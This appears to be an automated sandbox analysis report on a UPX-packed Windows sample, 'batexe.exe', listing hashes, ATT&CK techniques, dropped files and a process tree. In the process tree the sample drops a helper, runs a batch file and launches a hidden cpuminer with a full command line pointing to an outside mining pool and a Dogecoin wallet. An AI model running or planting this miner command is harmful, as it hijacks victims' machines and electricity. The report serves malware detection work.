73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
306s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 13:23

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1815711207-1844170477-3539718864-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3120	b2e.exe
4516	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4516	cpuminer-sse2.exe
4516	cpuminer-sse2.exe
4516	cpuminer-sse2.exe
4516	cpuminer-sse2.exe
4516	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/548-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 548 wrote to memory of 3120	548	batexe.exe	84
PID 548 wrote to memory of 3120	548	batexe.exe	84
PID 548 wrote to memory of 3120	548	batexe.exe	84
PID 3120 wrote to memory of 3512	3120	b2e.exe	85
PID 3120 wrote to memory of 3512	3120	b2e.exe	85
PID 3120 wrote to memory of 3512	3120	b2e.exe	85
PID 3512 wrote to memory of 4516	3512	cmd.exe	88
PID 3512 wrote to memory of 4516	3512	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:548
- C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9DC6.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3512
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4516

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe

Filesize
23.1MB

MD5
0718c0ae03244a2691394d5a0d6f5d72

SHA1
4680623b3c3df88460ff2b9065c930262353e9f5

SHA256
ee3c815a8cdcd0c6d9daefa0efe5c65bc69a8f7ed71de7061f85d5bf4d20567e

SHA512
485ab21bee97a652d4355d5ab5a74ae1631b424d7dcf15510a731ce9c87ea596516ab5f16f8ee2cd26ead5a11248df0b2f94325ba4f37e8d1a00b4ba3ade47a0

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe

Filesize
3.4MB

MD5
eb4741741ccaefc39fd9818a398cba09

SHA1
34a2d192e4a66491576940e6c591e0b4cd2c9bfd

SHA256
74b707f9ade09af224cc221daf0d17ea11e4c5b61ef70c9d8816f676bbe99acf

SHA512
602bafd830aff6c44bdb7a83e79a810959782b1a0d14806286fda32cf5e6551cc89c04160960d2420b5ae64e21ca96d6f608939bcc2663369241e900d36aa459

Download Submit
C:\Users\Admin\AppData\Local\Temp\8F5F.tmp\b2e.exe

Filesize
3.2MB

MD5
40889b384a48274d43cff4f5fc6ca21a

SHA1
62bdcdf62b98f9ccaf9f1cc3eaeeb448aa4894e1

SHA256
07f7d84ed5ce94bcb07bcbccc66909550b27f4fc5e8cca3b348bd9b5b172d106

SHA512
bd5ec17399dcf9b857c36e95d01e216b3b0130402d086697c83519f32464e053a9a7d63d3575787059e61e367ce5863161c201b5856d079fc6e6ce83f8b98897

Download Submit
C:\Users\Admin\AppData\Local\Temp\9DC6.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
90044302092fecd6de1a014e85aa1c22

SHA1
11dcb8ce1afb7e37d2e627112c7af627d1c004ec

SHA256
0cbfac5428b469fa88a8eb1888bfcfae1a67ab98173cd618d65f65195366bde1

SHA512
c066f6e72dd84fce4d2a37095b2ec9112057dd5784d6a66a8cabf60fd6bbcabf586e729f25b3e842695ed55bb87a1a1ecc30cfc6b83f1401c87cf1ffe8c0289f

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
95aa2d828d34d86f93c1b9d19a7cf0ad

SHA1
1c6654cb778f60be8ef7d4586b54f2b8df7600b3

SHA256
8783f412bb5b47ffa40a1800b0f0dc9b30064013abe3f628ce0719af2430dc0a

SHA512
7c5f8f2e6334b254f766c07576e77322f40b5fdf5068aae0abc167c7be6660d78bc8a093c4cf5499292686ef93a71d1f73bf267ded96b24ed9ecc353c7f4738b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.7MB

MD5
1b426de1d430c8d2ff803b4256eeec0f

SHA1
fd7204c16eb377fc7bd384e556efa30a4843ed7f

SHA256
8bbb19816748947674555df225159d79c339a4c840a508625b3ce04102d74732

SHA512
b14191ecf4521aeb1380f0f78d3cb8e8fdd4d52db5d800a5452507d4537495775e1023e42e97096d6a4ba8997b247bf31bd95806a53fe238e2ea58a29e21b8e6

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
b758fd6e8890be6f6212bcf5c4baeb6e

SHA1
df7f22150fafef2ee043ffe2d3b344f34d9585cb

SHA256
55c58fbbe6152fac19bf31b50d2a0549651f4d3f8edf2627d48e07b7f0645ef7

SHA512
ada7635683e56bf97673dfd211d92d792c75598e0c69a3d1ebb095c25eba64ee3e4d8dc877ba7df1eafd2992ad0892c27fc635dbff5f56348535598fccf2037b

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.9MB

MD5
4f3ff167f122afb6589eb65f6768b637

SHA1
c84cf09a2ea4a5cdcbd0948a2ccba83745bf194b

SHA256
86f8612000dbc3e2cd3ab3c03ce40a17679ca4425cd98a3c2e8e240aa6e3ace8

SHA512
0ea4634a9f7d871c2f6daa9f7512a41395fec7baee9b538c92783a59b2cd76560eb8278f113051a746d24e9e0aabd161ac8fdd45bee53b8238a625b1061990b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/548-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/3120-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3120-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4516-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-46-0x00000000763F0000-0x0000000076488000-memory.dmp

Filesize
608KB

Download
memory/4516-47-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/4516-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4516-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4516-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4516-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download